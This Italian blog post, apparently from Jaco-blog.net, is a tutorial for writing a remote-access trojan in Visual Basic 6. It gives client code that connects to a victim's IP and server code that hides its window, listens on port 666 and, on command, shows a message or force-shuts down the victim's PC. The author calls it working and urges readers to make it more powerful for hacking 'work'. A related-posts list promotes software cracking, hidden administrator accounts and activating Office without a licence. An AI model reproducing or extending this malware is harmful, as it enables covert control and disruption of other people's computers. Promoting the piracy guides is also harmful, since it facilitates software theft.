Guida alla creazione di un trojan in VB 6

Come ormai sappiamo un trojan è formato da due eseguibili, un client e un server.
Il server è eseguito sul pc della vittima, e invece il client è il programma che impartisce gli ordini al server.
Dopo questa piccola premessa partiamo con la creazione di un primo trojan.

Inizieremo con la creazione del client!

Per prima cosa creiamo un form con un winsock.
Andiamo ora a impostare la proprietà remoteport del nostro winsock e mettiamo come valore la porta sulla quale c’è in ascolto il server.

Noi faremo lavorare il nostro server sulla porta “666″, impostiamo poi la stessa porta anche alla proprietà
localport.
Mettiamo ora nella nostra form anche un textbox nel quale si inserirà l’ip della vittima e un commandbutton con il quale ci connetteremo
al server.
Ora nell’evento click del command inseriremi il seguente codice:

winsock1.remotehost = text1.text
winsock1.connect

ora che abbiamo fatto la connessione andiamo a vederecome impartire ordini al server:
Nel nostro daremo al nostro trojan solo due funzioni, una che farà comparire un messaggio alla vittima e l’altra
che gli spegnerà il pc, comunque seguendo lo stesso procedimento potremmo creare infinite funioni.
Andiamo a creare 2 command nella nostra form, il primo lo chioameremo cmd messaggio, e il secondo cmdspegni.
Se non lo sapete, il comando per far inviare qualcosa al winsock si chiama sendData, quindi nel primo command faremo:

winsock1.sendData “messaggio”

e nel secondo faremo:

winsock.sendDAta “spegni”

Andiamo ora a creare il nostro server:
Apriamo un nuovo progetto e creiamo un form, inseriamoci un winsock e ricordiamoci di impostare la proprietà visible del nostro
form a “false” in modo che il form sia invisibile, poi impostiamo le proprietà localport e remoteport del winsock su 666.
A questo punto nella sub form_load mettiamo in ascolto il winsock sulla propria porta in attesa di connessioni:

winsock1.listen

Ora andremo a programmare la sub Winsock1_ConnectionRequest che è la sub che viene eseguita quando il winsock riceve una richiesta di connessione:

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

La nostra sub controlla una precedente connessione aperta e la chiude e poi accetta quella del client.
Per gestire i dati ricevuti dal client faremo un altra sub:  Winsock1_DataArrival.
in questa sub dovremmo controllare cosa ci chiedono di fare i comandi ricevuti ed eseguirli, quindi facciamo:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati

Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “spegni”
Shell (“shutdown -s -f -t 01″)
End Select
End Sub

Questa sub mette i dati ricevuti nella variabile “dati” e poi se il contenuto della variabile dati è uguale a messaggio fa comparire un msgbox con
“scritto Ciao utente!!!” e se è uguale a spegni fa spegnere il pc della vittima.

Durante la connessione tra client e server potrebbero esserci degli errori, in questo caso ci viene in contro la sub Winsock1_Error,
nella quale in caso di errore faremo chiudere la connessione e rimetteremo in ascolto il nostro winsock

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub

Questo che abbiamo creato è solo la base di un trojan, ma è comunque funzionante e permette di capire il funzionamento del client e del server, ora tocca  a voi continuare il nostro trojan e renderlo con la nostra fantasia un trojan molto potente da utilizzare nel nostro “lavoro” di hacker

---------------------------------------------
Post Correlati:

1. Crack – Serial Artisteer 2.1 Oggi Jaco-blog.net vi offre un metodo per crackare Artsiteer 2.1 togliendo i Watermark della versione Trial ! Vi informo però, che la procedura è molto complicata!! Ecco...
2. Guida ai Virus e ai Trojan Oggi Jaco-Blog.Net vi offre una guida sui Trojan, i Worm e i virus in generale! Buona Lettura… -Innanzitutto,volevo ricordare che questo articolo è stato scritto solo...
3. Google Chrome, L’unico indenne da attacchi Hacker Si è conclusa la conferenza dedicata alla sicurezza CanSecWest in cui sviluppatori si potevano sfidarsi per violare computer di ogni tipo sfruttando vulnerabilità ancora sconosciute...
4. Creare un Account Amministratore nascosto su Windows XP In questa guida impareremo a: 1.Creare account via CMD 2.Dargli i privileggi di amministratore 3.Renderlo invisibile. INIZIAMO! Creiamo un nuovo account dal CMD digitando il...
5. Oltre 220 Video sull’ Hacking Oggi per voi una grande raccolta di video sull’ hacking e le sue varie tecniche, per vostra sfortuna non c’è nessun video italiano ma...
6. La pirateria informatica è diminuita! Ormai quando si parla di PC si entra sempre nell’ argomento della pirateria informatica. Scaricare illegalmente, file MP3, programmi con crack e altro sono le cose...
7. ChatHackerC&B, La Chat per Hacker, Cracker e Lamer! Oggi vi presentiamo un software che abbiamo scoperto girovagando per Internet, si tratta di ChatHackerC&B, un software con cui chattare con veri Hacker e...
8. Gli Hacker Attaccano Google! Gli hacker asiatici hanno infettato molti risultati delle ricerche del colosso di Internet Google per causare caos tra gli utenti. L’allarme è stato diffuso...
9. Attaccato da Hacker Network Solution! Un Attacco al Network Solutions da parte di hackers ha rovinato uno dei primi registrars del web, gli Hacker hanno usato la tecnica di “rogue code” riuscendo...
10. Come un Hacker effettua un attacco ad una macchina? Oggi vi faremno vedere come di solito un hacker compie un attacco ad una macchina. BUONA LETTURA!… Premesso che diversi sono i tipi di...
11. Backup Torrent ThePirateBay.org ThePirateBay adesso con i nuovi gestori diventerà a pagmento e a molti non è piaciuta l’idea per questo per non perdere utenti da oggi è...
12. GILDER – Emblema Hacker Il Glider l’emblema degli Hacker E’ stato proposto nel 2003 da Eric Steven Raymond, subito ha riscosso grande successo tra gli hacker di tutto il...
13. Inviare E-Mail Anonime con Telnet Oggi impareremo come mandare delle E-Mail anonime tramite Telnet con Windows. Su Windows Vista il telnet non e abilitato,per attivarlo andate in: Start>Pannello di Controllo>Programmi...
14. Attivare Microsoft Office 2007 senza Serial Number Per la scuola, il lavoro e la casa possiamo aver bisogno dei prodotti Microsoft Office, ma se non abbiamo il Serial Number non possiamo fare...
15. Snow Leopard più vulnerabile di Windows! A pochi giorni dal debutto di Snow Leopard già la sua sicurezza fa discutere, alcuni esperti pensano che addirittura in nuovo prodotto di Apple sia...

8 Commenti a “Creare un Trojan in VB 6”